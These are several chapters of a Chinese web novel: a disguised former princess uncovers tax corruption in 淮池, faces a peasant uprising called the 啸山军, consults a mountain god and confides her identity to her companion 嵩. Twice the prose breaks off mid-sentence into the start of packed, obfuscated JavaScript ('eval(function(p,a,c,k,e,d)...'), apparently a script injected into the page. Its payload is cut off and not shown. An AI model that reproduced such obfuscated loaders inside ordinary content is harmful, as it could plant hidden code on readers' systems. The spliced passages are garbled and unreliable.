黎宥本想再跟他聊会儿,让他放松警惕,再借机把他留在身边,不能当条看门狗也能防止他再出去祸害人家,没想到他先提出要求了。 “可以,但是再加一点——你必须听我的,没有我的准许,不能出门或者杀人。” ……半晌没有回答。 黎宥还以为他这么快就反悔,正想白他一眼,却见轻盈而均匀的呼吸声伴随着带有酒气的气息萦绕,她怔怔地看过去,发现嵩已经睡着了。 他连睡着也不安稳,眉心皱巴巴地拧在一块儿,黎宥看着看着,自己竟也不自觉皱起了眉。她敲敲醉醺醺的脑袋,苦笑着站起来,喃喃道:“这家伙真是奇怪。” 此番聊天很是奇妙,不似审问罪人,亦不似朋友间。本以为这位不速之客的到来,是噩梦的开始,然而事实上,也没那么糟。 屋内与后院隔着一面薄薄的墙壁,将老鸣的呼噜声隔绝在他促狭的房间中,黎宥甩去虚浮的疲倦,三两步跨过老鸣制造的嘈杂。 她还要继续去搜集有关公孙氏的情报,至于为什么不先好好睡一觉,自然是因为,屋里的那个大麻烦已经解决了大半,想到这里,她就又有了干劲。 黎宥打算今天往另一条路走,一是为避开汇庆坊,免得又偶遇庄正那死小鬼来掺一脚;二是她要去找一个人,一个看似与这件事格格不入的人。 天已经彻底亮了,不见阳光,独有苍白。秋风里小贩的嘶喊声此起彼伏,却略显沉闷、凌乱。熟练的绕了几个路口后,黎宥站在了一家开在角落的小医馆前。 看到十余只肥胖的鸟儿站在屋檐上梳毛,她就知道她来对日子了。 “老赵!”她深吸一口气,用力地朝屋内喊。 窗眼子里冒出来个黑黢黢的小老头,侧对着黎宥,斜着眼睛往这边瞧。 这个人就是老赵,他也不老,就是时常疯疯癫癫、乱七八糟的,看起来像个八旬老汉。今天他没把养的鸟拴在地上,说明他今天精神状态很不错,可以跟他正常交流。 黎宥热情地走过去,用很大的声音问候他,他似懂非懂地点了点头,招手示意黎宥进屋里坐。 上次晕倒,他给黎宥开的药喝完神清气爽的,黎宥还未来得及道谢,今日又有求于他,故而主动上前泡茶斟茶。 “老赵啊,最近天气凉咯,你有没有买新袄子啊?”黎宥“嘘寒问暖”道,“令兄一定给你寄了不少银子吧?” 很久之前黎宥和庄正跑来这里遇到他,他说过自己有个哥哥,他哥哥有颗痣在鼻子左边,而他的痣则在右边。还说他哥哥在朝廷任职,官儿可大了,整个淮池的钱和百姓他都管得着。那时候黎宥还给他解释说那就是侍郎,他呆呆地点头。故而昨日在府中见到的赵侍郎,八成就是老赵的哥哥了。 提到兄长,老赵一下喜笑颜开,咧 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黎宥拢着手,忽然把声音压得很低:“既没给你,那肯定是给了别人。哎,我听说啊,有不少跟官府合作的人发现钱少了,都闹着要侍郎给个说法呢。你可别替你哥瞒着事儿啊,要是有人追查到你,可是要掉脑袋的。”说完就直起身掩面偷笑,这些全是她编的,看看老赵什么反应。 果不其然,老赵一把扯住黎宥的袖子,开始讨好哀求:“行……我说!我说还不行吗,兄长他这个月,确实给的比往常多得多,还……特意叫都花光不用留。”他松开拉着衣袖的手,颤颤巍巍地给黎宥斟茶,“钱我都还留着,没花,一分都没花!好娃儿,你不要把我告发咯,我一定把这些钱都还回去。” “那是自然,老赵你也是无辜之人。” 若赵侍郎真的没把钱给老赵,那老赵听到这些的反应应是愤怒的,愤怒他哥不仅贪了财还没把钱给到他手里。而老赵如今的所说,却恰恰证明了赵侍郎藏了事。 老赵从里屋拿了一个大匣子出来,一脸“全都在这里了”地看着黎宥。匣子里的钱撞得叮当响,听得黎宥直羡慕。 老赵一开始说漏嘴的“多了好几倍”,就算侍郎俸禄再高,也高不了这么多。黎宥暗自点头,看来棺材里的账册,一定与赵侍郎脱不了干系。 离开了小医馆,黎宥顺着外街漫无目的地闲逛。 慢慢就快到了正午,街上饭菜飘香,黎宥想起自己只装了一肚子酒便出门了,她摸了摸饥肠辘辘的小腹,走进了一家面馆。 这家面馆老鸣经常带着她来吃,老板娘一眼就认出她来,兴高采烈地走过来擦桌子。 “好久不见咯,小伙子,都晒黑了不少呢!”老板娘热情似火。 黎宥被她的热切感染了,也笑起来,道:“老样子,多加点面。” 老板娘爽快地点点头,回到厨房去了。 人声鼎沸,炊烟漫天,黎宥无聊地用筷子点桌面,可是等了许久也不见面端上来。她环视周围几桌客人,他们的桌上也空空如也。急性子的客人嘴里已经开始擂鼓了,黎宥正打算去问问老板娘,却忽然听见老板娘的怒骂声从后厨传来。 16. 啸山军 这忽如其来的一声竟让原本的骚动变得鸦雀无声,连正要掀帘子进去讨理的人动作也顿了顿。 “这……这怎么回事?刚才那是什么声音?” “是老板娘!她……她不会出啥事了吧?” “进去看看,进去看看。” …… 黎宥早在众人议论纷纷之时夺了进去,食客们见她进去了,也都前前后后拥在门口。老板娘的胸口上下起伏,原本就汗淌的脸颊现在更是胀得通红。只见她一手抄着汤勺,怒气冲冲地指着对面的人。 “凭什么要多交钱?上个月不是才刚涨的税吗?眼下你又明目张胆地要钱,谁知道你是不是私吞呢?”老板娘口水连着汗水齐齐喷向对方。 对面那个人——不,是两个人,有一个看着更年轻,畏缩在更年长者身后。更年长者也更老套,而他们又穿着整齐,头发一丝不落地盘在头顶,发髻齐整地别在头上。这一看就是朝廷的人,这是要收税来了。 老板娘是一句话也不让他们说,自顾自地对着两个地瓜一顿输出。 她看着大家都进来看热闹了,便一边回头给大家道歉一边找各位说理:“真是抱歉啊各位,都是这两个人,害得我没法子给大家煮面。”她绝不嫌把事儿闹大,毕竟她的面馆出了名儿的好吃,名声在这,她相信肯定有人给她说理。“来啊,大家都在这儿,看看还有没有道理。之前可一直是收固定的租费的,这两月来每次都要多收,这叫人还怎么做生意啊?” 众人闻言,皆用鄙夷的目光瞥那两个官员。大家都是平民百姓,自然知道钱有多重要,况且现在那两个地瓜害得大家没吃到面。 “就是啊,做生意多不容易,没赚几个钱全让你们收走了!”人群中有个声音道。 越来越多手指带着责骂指向两个官员。 黎宥不禁感叹民众的传染力是如此的强,这让站在前头却一句话也没说的她略显无用。她见众人愈演愈烈,面馆的墙壁被蛄蛹的人群挤得摇摇欲坠,赶忙出言:“税差,这到底是怎么回事?” 却被人指点道:“哪还用问什么事,这分明就是这些官吏乱收钱啊,你不会是想包庇他们吧?” 人群又重新哄动起来。 站在前头的差使道:“这都是上头的命令,这个月的征税要比之前多半倍,板栏上的告示你们没看见吗?” “告示?什么告示……”大家的眼神又变得迷惑,目目相觑,都不说话了。 差使见大家气势减弱,立马趁虚而入,两条粗眉往中间一叉,大声叫道:“朝廷的命令,谁敢不从?”随即把手往老板娘面前一摊,盛气凌人道,“交钱,没有就交米交布,再没有,这店铺你就别开了!” 老板娘被迫退了两步,见状,黎宥拦在他们之间,道:“国主建得了宫殿喝得起美酒,不见得朝廷缺几个钱,你们如此压榨百姓,成何体统?” “你……国主岂是你这种小辈能谈头论足的?看来你不缺那几个钱啊,有本事你来替她交了!”差使为难她。 余光中,黎宥发现围在门口的人目光全都聚焦在她身上。若她真有钱,她还真就一把银子甩在他脸上了,既锻炼臂力还解决了麻烦。可是,家里就一个老头一个她,老头平常连吃喝都整条街四处蹭的,能有什么钱。 钱这种东西,以前嘛,是她最擅长的,现在,是她最不擅长的。 黎宥黑着脸,差使一边嘲笑一边去翻藏钱的地方,老板娘急红了眼,手足无措地看看黎宥又看看被翻得乱七八糟的面馆。 客人走了些,仍然有零星几个往屋内瞄,但是没有一个愿意站出来帮忙的。你生意兴隆时,他们就当你是热心善良的老板娘,你若有麻烦了,大家就装作不认识你,想尽一切办法和你撇清关系,只当你是个路过常看见的面馆。 黎宥怒火中烧,她没想到在老赵那儿胡乱编的话竟然确有所在,连高官都干着龌龊事,更不用想他们的手下。 老板娘红着双眼想去阻止差使,又被他推开。这时,外头忽然传来一个哄亮的声音:“都给我让开!”那人推开门口的人,抡起拳头就往差使的头砸去。 差使吃痛,瞪着眼回头,那闯进来的是个高大壮实的男人,皮肤黝黑,头发编成细细的辫子盘在头上。 他摩挲着拳头,老板娘已经被吓得缩在一旁。他无比愤怒又热血地看着老板娘,道:“老板娘,加入我们啸山军!跟我们一起打倒这龟儿子的朝廷!!” 那人的声音奇粗无比,像头发狂的老牛,一下镇住了在场所有人。 老板娘一副他要吞了自己的模样,双手挡在脸前,颤颤巍巍道:“这,这是要打仗?……我、我可不会啊。” 那人很笃定道:“我们,只打朝廷,不伤百姓!老板娘手艺了得,到队里可以当个炊事,若是大家能吃到如此美味的面,便一定会更有力气,更有干劲!” 没等老板娘作答,黎宥先行拦在他面前:“挑起官民对立,你在教唆犯罪。八年前的战争难道还不够惨烈吗?” 她狠狠睨着那人的眼睛,两人谁也不让谁。 可是看热闹的人之中有人坐不住了,一人道:“哎小伙子,你没做生意,哪懂得钱有多难赚啊?你刚才可是连帮老板娘的钱都给不起,是,打仗是残忍,但是再不把这新政打下来,我们就要被榨干了!”他越说越激动。 又有人附和:“是啊,等着被宰和流点血哪个更好,咱们还是拎得清的。” 似乎只有黎宥一个人想守着这安稳日子,人们的起哄声愈发大,老板娘此时走过来拍拍黎宥的肩,略带忧伤地同她说:“小宥,他们……其实……我也不想打仗的,谁不想过好这安稳日子呢?只是,你还小,不懂这些。我们……不只是为了那点钱。” 黎宥听得一愣一愣,纵使方才再坚定,此刻她也在怀疑自己。 一会儿功夫,店外已经挤满了人,除了围观者,还有一群人,他们个个脸上都充满激情与亢奋,冲着大街上喊:“乡亲父老们,朝廷害得咱们一肚子冤屈,这生活过不下去,活着还 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肩上的手松开,黎宥踉跄了一步,才看清是嵩来了。 他正和那人拼死拼活——不,准确来说,嵩打他打得从容不迫,原本那粗嗓子站在她跟前时还挺具有压倒性,现在看来却像个矮瓜子。 他们的打斗让四周自然而然地空出了一大片地,不少人纷纷转而看向这边来了。 黎宥收回了看好戏的心,急忙上去出手打断嵩的出招。“听话!别打了,不必跟这种人费力气。” 嵩果真停下来,面无表情地看了黎宥一眼又看了粗嗓子一眼,便自顾自地往回走了。 以防他再主动伤人,黎宥没多想便追了上去。 “你来凑什么热闹?不是说了没我命令你不准做任何事的吗?”黎宥质问他。 嵩道:“他把你杀死了我听谁的命令。还有,我什么时候成了你的奴隶了。” 他说话不像是他亲自说出来的,声音毫无感情地从嘴里传出来,像个破喇叭。 “他并非要杀我,只是……” “他掌中有暗器,反正不是用来杀我。”他冷冰冰地看着黎宥。 黎宥闻言起了一身疙瘩,她想再不济也是用赤手空拳跟那人干个你死我活而已,谁知他竟然真有取性命之心,此人到底是谁?又有何来历?这个啸山军,是从何时开始有的?又是藏身何处?他们仅仅只是针对朝廷这么简单吗。 黎宥不禁握紧了拳头。 “这淮池都脏成什么样了。”她咬牙,在一片熙熙攘攘中低声道。 渐走远,人群的吵闹声渐小。 嵩走得很快,黎宥懒得去追他,只悠悠跟在他后面。她才发现,今天嵩有点不一样。他竟把自己收拾了一番,蓬松凌乱的头发梳得利落,还完整地穿好了衣裳,身上也没有浓郁的血腥味儿,看起来离正常人已经很接近了。 黎宥似是很满意地点了点头,心想他要是不乱砍人,这当个手下也相当不错。 17. 困顿 “哟,幺儿回来啦。”老鸣开门,嘴里叫的是黎宥,可是眼睛却一直往嵩身上瞟。黎宥不想戳穿他,嵩才来过家里两回,总共不过两天时间,老鸣怎么格外在意他。 她随口说道:“今天大街上一群人闹得沸沸扬扬,你咋不去凑热闹啊?” 老鸣把门关上,晃着手道:“嘿,小孩儿四处跑啊叫的,我早知道了,鬼知道在干嘛呢。去人堆子离挤着倒不如在家里躺着。” “我以为你又到哪儿去蹭酒吃了。”黎宥道。 老鸣默不作声,鬼鬼祟祟地看了嵩一眼,又滴溜着眼珠子假装咳嗽。 黎宥心道他显然是故意的,极力捕捉他的视线调侃道:“你藏什么事儿了?看他做什么呢?咋,长得像你儿子啊?” 老鸣闻言眼神一下变直了,抬手就要揪她耳朵:“能耐了你,养你一个够呛,还儿子。” 黎宥憋笑,不过从认识老鸣以来,确实没听说过他有孩子。 “你这臭小子真没眼力见。”他一指正在小憩的嵩,“看他,这发型,时兴不?这衣裳,干净不?” 黎宥不明所以地点点头。 “我给他洗的!”老鸣呲牙咧嘴,“这小子一开始不乐意,还瞪我。我也没想到,他洗干净之后长得还蛮体面的嘛。” 黎宥属实没想到,这老鸣还有搞造型的爱好:“豁,你这手法不出去开个店可惜了呀。”她凑到嵩跟前左瞧右瞧,他正盘着手闭着眼,也不晓得是真睡还是假睡。 不过,洗干净了之后,他的棱角确是分明了许多,眉眼间少了凶狠,以前说是山中野兽不为过,而如今则像是个正经的江湖侠客了。 简单的休息过后,黎宥便独自上山拜见山神了。为了防止别人认出他来,她还披了件破破的大衣拄了根木杖,远远看上去就像个花子。 她特地挑在晚上出发。先前茶客说的“重金寻黎宥”她还未忘怀,她虽交际不广,但最好还是趁没人捉拿先藏藏自己。 淮池没有宵禁,所以街上来来往往的人很多,必然没人理会她一个路上闲逛之人。而走到凌云山脚时,刚好是各家各店关门熄灯时,回家的回家,忙收拾的忙收拾,约等于没人知道她上山。 淮池百姓是山的人家,众人皆知,大晚上上山,不是去寻死就是想偷偷越境。 黎宥扎紧了裤腿儿,这个季节,蚊虫是一窝一窝追着你咬的。 她躲在一家店的牌匾后面,视情况而行。亦如茶客所说,山脚边上布排了许多士兵。她从地上捡起几块碎石子,瞄准了离她最近的两个士兵,石子“簌簌”两声飞了出去,两个人闷声倒地。 “就这还当士兵,弱不禁风的。”黎宥低声道。 山上幽黑无比,不时似有野兽低吼。一回生二回熟,纵使几乎看不见,她也对每一步都了如指掌。 约摸过了一个时辰,耳边终于传来了流水声,黎宥侧耳聆听,确认这流水声的空旷程度是来自于通往山神殿的山坳。 黎宥松了口气。一路上,她除了要提防野怪,还要时刻保证自己的清醒——深山又是夜晚,她要是像先前一样头晕眼花,怕是死在山里十年都没人发现。原本她宁信自己也绝不信鬼神,而不知从何时起,她就不知不觉地开始信奉山神。现在,光是站在这山间,便觉得无比心安。 下山坡、石桥路一气呵成,一路上,视野越走越开阔明亮,没想到,山神殿在夜晚之中是亮着灯火的,看起来没有白天时那么清冷。 当黎宥还沉迷在这赏心悦目的光景中时,山神已经悄然出现在她身前。 “你来了。”山神的语气里带着笑意,当真是很欢迎她。 黎宥恍然回神,赶忙行礼。 山神点头致意:“只少许时日未见,今日你来,想必对我们梦中所谈,已经有所成果。” 山神的声音温润而儒雅,像一阵泠泠的凉风。黎宥将前日在公孙府里所遇之事,以及今日所见所闻在心中捋了捋,总结出了“公孙氏仍有谜团但新政风气已败”的结论。 她尤其强调了今日所发生之事:“山神大人,小辈今日替人解决矛盾之时,街上冲出来了一支名为“啸山起义军”的队伍。据我所知,这啸山起义军乃淮池百姓做组,目的是推翻新政,可是……” 她说着渐渐皱起了眉。 山神轻道:“你有所不知,吾也是这两日才在山中发现了他们的踪迹,就在挽云山。为首者带领了数百人至山中一洼地处进行训练,想来必是要炼成一支大军与朝廷相抗。” 黎宥心道这个啸山军还真够厉害的,她严肃道:“山神大人,您可知,今日大街上,成百上千的百姓在啸山军的鼓动下,皆加入了他们,扬言要跟朝廷打一仗?” 山神无奈道:“看来吾没有看错,这个公孙氏一无所能,久留必坏淮池国运。” 黎宥道:“可是……他们这是要打仗啊,战火会让多少人失去家,失去安稳的生活?山神大人这是,默许了他们的行为?” 他摇头:“吾并非此意,只是,你看起来很担心战争,吾能知道这是为何吗?”未等黎宥回答,他徐徐地叹了口气,“战火虽可怕,却是解决问题最快的办法。百姓们在大朝之下可谓没有任何优势,唯一的力量,便是人多。人多最好办的,便是造反,起事,打仗,唯有如此,才有可能改变如今的处境。” 黎宥咽了口口水,道:“我……我曾因战火失去了所有家人。”她的声音有些颤抖,“我只是不理解,为什么非要争个你死我活不可。再说了,他们若有朝一日真的把公孙氏打下台了,又有谁会接续淮池的政事呢?就算有人当上了新国主,就能避免以后都不会再有战争了吗……?” 山神沉默不语,他眼中有些许哀怜地看了看黎宥,又用薄凉的眼神望天。 见山神不语,黎宥缓缓抬起头,小心翼翼道:“是我说错了什么吗?”黎宥很少发出疑问,更是不曾质疑自己,但自从见了山神,尊卑礼教似乎就把她捆住了。她将山神摆在心中至高的位置上,把自己变成他脚下的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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某日全国民众被告知,淮池受到邻国挑衅。然而却不见国主对此有任何动作或是计策,随之而来的,是突如其来的战火,没有人指挥战场,没有人传信发报,皇府在夜深人静时被大火吞没,人们几乎一睁眼就发现自己家徒四壁了: 屋顶被掀了去,什么猪屎鸟屎全都洒在身上。那不知何来的箭亦是乱射,不是扎死了牛就是插粪堆里去了。 这仗随任何一个人看来都是囫囵吞枣的。国主活不见人死不见尸,仿佛人间蒸发了一般。 一个国度,就此由盛转衰,濒临覆灭,虚生浪死。 如今,战争已是八年前的事情了。 生在这乱世里,哪有不可怜的,周围人都习惯了装模作样地活着,或许会有人说这多虚伪,但是事实上,谁会愿意低着头活呢? 但总得有人当地上的泥巴,人们才能在乱世里站稳脚跟啊。有人记得的,一定会有人心里还惦记着这个美好的国度。军官不记得,平民不记得……但是有个人记得。 黎宥记得。 她没有家了,这片土地是她唯一的归宿。自从战火以来,她的眼睛就注定要装满世人的眼泪的,她只要还活着,就注定要亲自去偿还,偿她父亲的血债,还她母亲的恩愿。 亲卫趁夜抱着所谓“皇子”冲出火海,把她安置在一个废弃马棚下,临死前还替她拍净了衣上的尘土,守着她直到天明。 18. 辩驳 挽云山同其他四山不一样,它山势低而阔,故而形成了许多“山中山”,也就是小山包,自然,也形成了大大小小的盆地。据住在挽云山附近的人说,山里不时走下来些怪人,他们要么面带恐惧,要么戒备心强,但都有一个特点,那就是不会说话。 其实大家都知道,这些可能是挽云山里残留的异族人,他们已经太久没见过人类,都疯了。这些年来这样的传闻渐少,大概是,为数不多的怪人走出来了不少,剩下的,不是走不出来了就是死了。 故而黎宥知道啸山军将根据地设在挽云山还挺惊奇的,隐蔽性是足够了,安全性堪忧啊。 山神最后那一句话究竟为何意呢?希望他们能成功,“他们”指的是谁? “莫非是啸山军……毕竟山神好像挺希望新政覆灭的。”黎宥呢喃。 从山神居出来,竟已经快到天明。 不知为何,身体正以一种可感的速度变得疲惫,她只好故意往枯枝烂叶上踩,“咔嚓咔嚓”的声音炸起,却好像没用。不仅没用,还加剧了头晕。 “糟了,又是上次的那种感觉……”眼前倏地一暗,她立马扶住树干。 黎宥攀上一棵没什么叶子的树,借着山间的风一吹,萦绕的昏沉才有所消解。 下山貌似比上山还久。黎宥回到家时,看见嵩一动不动地立在门口。 “大半夜出来吓什么人,快回去。”黎宥站在离他九尺的地方,没好气地说道。 黎宥就料到这哑巴没吃药,她走过去,就要把他拉回屋。 谁知他像是在生什么闷气似的,怎么扯都扯不动。 为了避免闹出太大动静,黎宥狠狠用指甲扣住他的胳膊,咬牙切齿地说:“你又要唱哪门子戏啊皇帝?” 嵩一本正经地问她——与其说是问,不如说他在陈述事实:“你又去找他了。” 他又是那副臭脸,只是能看出来他是真的很生气。 黎宥松手,挪开视线,默许道:“是。”而后便头也不回地推门进屋。 她的手臂被抓住,刚探进门的半个身子又弹回来。“为什么?”嵩道。 “理由我已说过,你又何必穷追不舍呢?”黎宥忍耐力即将到达极限,她攥紧拳头,比在他脸前,“非要争的话,除非打赢我。”正好之前在山里还有仇没报,如此想分出上下,那就来吧。 游戏猝不及防地开始,黎宥出手便朝嵩的脑袋打去。嵩一手反握,顺着她的力道一扯,另一手劈向她腰间。黎宥立马用手格挡,抬腿踢他。 嵩比她高一个头,还比她壮一圈,黎宥这一腿竟只踢到他硬邦邦的手臂。 …… 黎宥招式干净而利落,嵩的动作则毫无美感可言,纯粹地接招、出招。 两人从门口打到房子后,所幸老鸣贪便宜,选了个躲在山脚下的房子,房子到山还有一片空地,这下可以建一个格斗场了。 不知是最近锻炼得少了还是劳累导致的头晕眼花,黎宥每每出招,速度都不及嵩的半分。但是显然嵩好像并没有下狠手,她一想到这,就觉得嵩瞧不起她,便越发气急攻心,不假思索,她拼尽全力朝嵩道腹部锤去。 当右手感觉触碰到地方比方才打的任何一个地方都柔软时,她才猛地惊醒,意识到自己打了嵩尚未痊愈的伤口。 嵩捂着小腹后退了两步,表情有些僵硬。黎宥伸手去扶他,他以为黎宥还要趁他不备下手,立马挥臂打掉她身来的手。 黎宥心情复杂,退了两步,对他说:“我扶你去坐着。” 嵩摇头,自己踉跄着跌坐在旁边。 半晌,他们冷静下来。黎宥去屋里拿药和绷带,有了之前的经验,她这次直接把东西扔在他身上。 “为什么?”黎宥叉腰在一旁看他笨拙地动作,“为何总要猜忌我?猜忌山神、周围所有人?”她喟叹,“明明……家国好不是人人都盼着的事吗?你真的很反常。” 嵩止住动作,上下扫视黎宥,道:“你可知你所敬仰的神,是个满腹黑水的奸佞之徒。” “你闭嘴!”黎宥瞋目切齿,“休要亵渎神明!” 嵩冷笑一声:“我原以为你是个聪明人。” 黎宥无言以对,她哂道:“好,你倒是说说,你有多聪明。”她不屑地坐在他旁边。 “你忘了,在山上的幻境,那都是他弄出来的,为的就是害死我们。”嵩道。 “信口胡言,毫无证据。” “呵,那么除了他,还有谁能在他的地盘上作妖。” 黎宥无奈道:“山里的妖怪啊。”她发了个白眼,觉得嵩很是固执己见,“算了,我告诉你吧。山神大人先前告知过我,由于国运衰败,他的神力已不足以很好地镇压那山下妖怪。故而上次幻境,是那妖怪作祟。” 嵩嗤笑道:“山下妖怪。” “且这淮池四山草木皆有萎靡之征兆,不是那妖怪,还有谁有此功力?”黎宥头头是道。 嵩道:“那你可见,他上次要直取我性命。” 黎宥惑道:“何时之事。” “藤蔓。” “你是说你在祭拜时那些突然窜出来的东西?”黎宥想起来,“长得如此邪祟恶心,怎么看也不像是山神的手段。依我看,就算山神要取你性命,那也是执枝为剑、竹叶为刀之类。” 嵩不语。 黎宥挑眉:“像你这种逮着葫芦当瓢的人才是死脑筋。” 见嵩合眼凝眉沉默,黎宥自认还是自己略胜一筹。看他这副模样应该是被说服了,黎宥便抓住机会继续推进:“眼看你也并非十恶不赦之人,但愿你知错就改。山神神力不济,也就无法镇压妖怪。若不及时改变现状,待那妖怪一出笼,整个淮池将无力自保。 “淮池国运盛或衰,与朝政脱不了干系。在将你救回家之前,我潜入朝府,发现了朝廷的腐败风气盛行。昨日你来帮我,大街上的人你可知是在做什么?” 嵩面无表情地摇摇头。 黎宥意气风发地笑道:“他们正争先恐后地嚷嚷要加入一支名为‘啸山起义军’的队伍,目的是推翻他们的统治。” “我赞成。”嵩道。 “啧,你听明白了吗?话不可乱说,他们既要与朝廷针锋相对,有朝一日必定会掀起战火。”说到战火,黎宥心里又不自然地咯噔一下,随即又正色道,“事情大概如此,既然你一时半会儿还得待在我身边,那我便有义务将你改邪归正。这样……今后,你跟我一同出入,为山神效力,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我没有娘。”小孩声音小了下去,他低着头,不安地玩手指。 黎宥意识到说了伤他的话,语气柔和了一点:“那也得回家啊,现在这个时候不睡觉,将来可是长不高的。” 小孩道:“你们答应带上我我就睡!” 黎宥无助地看向嵩,他竟然闭着眼睛,一副事不关己的模样。 先应下他过了这关,到时候偷偷把他甩掉就是了,反正看着就像小乞丐,丢了也没事吧。黎宥想着,微笑地看他,道:“好啊,你跟着我们吧。” 那小孩高兴得跳老高,张开双臂扑到嵩和黎宥身上,叫道:“太好了,我有师父师娘了!” 嵩被小孩触碰到,仿佛已经死了,黎宥听到“师娘”二字,更是全身不能动弹。 小孩儿还在兴奋地拥抱他们,黎宥心里不停地安慰自己,一定是小孩子不懂事乱说的哈哈哈那有什么师娘明明是两个师父啊哈哈哈…… 把他从身上拽下来,黎宥猛地吞了吞口水,强颜欢笑地开口问他:“孩子啊,谁是你师娘呀?” 他不明所以,但还是指了指黎宥。 黎宥仿佛听不到心跳了,若是只有她一人在场,她也就大大方方打那孩子一顿了,哪儿用躲躲藏藏这女子身份?她继续狡辩:“我可是师父,你看清楚了。”她指指盘着的头发。 嵩这时不闭眼了,托腮一副看戏的样子。 没想到,小孩指着她的胸道:“我刚刚抱你的时候,感觉这里软软的啊。怎么可能不是师娘呢?”他捏着下巴。 黎宥听到此话快要断气,她的脸颊发烫,一时竟不知如何继续狡辩。 19. 行动 “深藏不露。”嵩将一边眉高高挑起,前所未有的,用犀利而带有嘲弄的眼神盯着她的胸看,仿佛要把黎宥全都看光看透。 黎宥无可奈何地点点头,从牙缝里挤出两个字:“好啊……”她心说自己真是从来没败漏得这么彻底。 那小孩一副很无知又无辜的表情,晃着脑袋,嘴里念叨着:“师父,师娘这是怎么了?她是不是难受啊?你快带她去看郎中啊。哦不对,现在是夜里,郎中都歇息了……” 黎宥一听这孩子的声音就恼火,她强行压下把他扔进山里的心,对他说:“我没事。倒是你啊,不是说去睡觉吗?还站在这儿干嘛呢?” 他果然迈着步子跑走了。 黎宥用力地捏了把鼻梁,欲哭无泪。 嵩道:“有些人总要我把所有都说出来,自己却不坦诚相待。” 黎宥斜着眼睛睨他:“你以为我这就认输了?呵,不可能,你别想用这点来威胁我。” 嵩坐直了腰,胜券在握似的,道:“我不用威胁,你自然会乖乖跟在我身边。” “你……无耻!”黎宥差点儿给他一拳,“罢了,我知道,你不会说出去的。” 她有点泄气似的扒开了紧紧裹住的心衣,长长吁了一口气,道:“我……乃前任公主。不过,对外示人却一直是王子的名号。我知道,父亲想要我接管朝政,那自然说我是他的儿子更加顺理成章。”她摇了摇头,“可惜我那时哪知,父亲以后朝政再无黎氏传人。八年前的战火,最后我却只能眼睁睁地看着皇城被烧,百姓流离失所。所以……我真的很想护大家周全,也不希望再有战火发生。”她用力眨着眼睛,想把泪水都憋回去。 八年了,她第一次将这些事从肺腑里掏出来讲与他人,不过没想到,第一个知道的,是嵩——一个几乎完全陌生的人。 在那小孩面前被拆穿,再编下去谎言难圆是其一;其二是不知为何,对于嵩,黎宥好像有种莫名的信任,就好像这是她亲自救回的奄奄一息的小狗,即使这只小狗再喜欢咬人,关键时刻也会对主人忠诚。 八年的过往,本以为要从月黑风高讲到夕阳西下,谁料只三言两语,就把她的人生概括得如此荒凉。 嵩收回了刚才嚣张的神情,出乎黎宥意料,他竟主动拍了拍她的肩以示安慰。他道:“所以你四处奔劳拼命,就为了这个国家。” 黎宥点头:“还有百姓。虽然我在皇城十二年不曾掺和市井,但是……若我当年应下父母的旨意,坐在朝廷上效力,他们也不会因战火而被打扰。” 嵩若有所思地摸着下巴:“在皇城十二年。” “嗯。”黎宥道,“十二岁,我本不应如此叛逆。” “那你今年二十岁。” 黎宥:“?” 嵩就这么直截了当地说了出来,像个专心做算数终于把答案算出来了的孩子,大声说出来要得到谁的认可似的。 猝不及防的一句,打断了黎宥伤感的思绪,她想骂他但又没有理由,毕竟人家只不过是陈述了一个事实罢了。 “你真欠。”黎宥啐他。 公鸡打鸣声从远处传来,东方欲晓,那个被赶回去睡觉的男孩儿被发现睡在黎宥床上,耳朵被床的主人揪得通红,也赖着不肯走。 上次皇城外与庄正分别后,便一连一个月都没再见到他,抽空去了趟汇庆坊,才知道他因为顽皮到处乱跑被他爹“囚禁”了。听见后厨传来哀嚎声,才知道庄正被罚洗碗了。真是活该啊,黎宥笑着想。 黎宥蹲在他洗碗的大盆对面,故意把堆得老高的泡沫吹到他身上。 “我庄大少爷何时何日受过这样的苦啊……”庄正低头看着一堆脏兮兮的碗道。 看着他呆滞的眼神,黎宥不厚道地笑,她道:“给你讲点有意思的事儿,怎样?” “真的?!”庄正立刻双眼发亮,他鬼祟地瞧了瞧两旁,确认没人,悄道:“哎,是不是和山神有关?” “没白洗碗啊,脑子洗聪明了。”黎宥道,“既然你被你爹囚禁了这么久,想必大街上多了哪道新菜品你都不知道吧。”她又把啸山军的事情复述了一遍。 庄正听罢,张大了嘴,很是吃惊,说话都变得语无伦次:“这么大阵仗啊?诶,你说这啸山军仇恨这朝廷,说不定我爹也会加入他们。我爹最近老念叨赚的钱全打水漂喂狗去了,收进钱袋子里的还没给出去的多。我一开始还没明白,后来就听他说这朝廷啊,收商税啊,一次比一次多,才知道我爹骂的是朝廷。” 连汇庆坊这么大的酒楼都入不敷出,更不必想那些小商贩该有多绝望了。 “不过,这和山神有什么关系?难不成这啸山军是山神安排的?”庄正道。 黎宥啧道:“乱说什么。这件事以后我便又上了山,顺道将那日我们在皇城所历之事知会于山神。”她顿了顿,“山神说,百姓打仗的事他不可插手,不过倒另有他法,能提升他的神力。” “还有办法,那便好,总归不是死路一条。”庄正欣慰地笑道。 黎宥也咧咧嘴,随即严肃道:“是啊,不过……这个方法,有些难以实现。” “怎么说?” “山神的神力与人们给他烧的香火有关,他甚至把记载着香火记录的书卷都拿出来给我看了,结果让我大感意外。近些年来的香火近乎为零,而就算以往的神力再旺盛,如今也岌岌可危啊。” 庄正听着,蹙着眉道:“那意思是,要大家伙儿多多给他烧香拜神咯。这简单,咱们印一堆传单,满街都贴上,大家看见了,自然就会拜了。” 黎宥觉得他不可理喻,忍俊不禁道:“你还是留在这儿洗碗吧。” “什么啊,这方法不挺好的吗?街上无论大大小小找人找狗都是贴传单的,这叫大家拜神,贴传单岂不是最简捷的办法?”庄正一撅嘴,差点儿把手里的碗摔个细碎。 “你这样,大家只会认为你是在传扬什么江湖骗术。”黎宥扶额叹气,“这就是我来探望你的原因,就是想来看看你有什么主意。毕竟这可是山神,不是什么乱七八糟的妖魔鬼怪,总要先在民间树立起威严,才好让大家都屈服于他吧?” 庄正不语,低头思索。 黎宥接着道:“对了,金悠呢?你被囚禁了,金悠怎么办?他没来探望你么?” 说曹操曹操到,黎宥背后传来熟悉的声音。金悠来了,手里还提着一个小包裹。 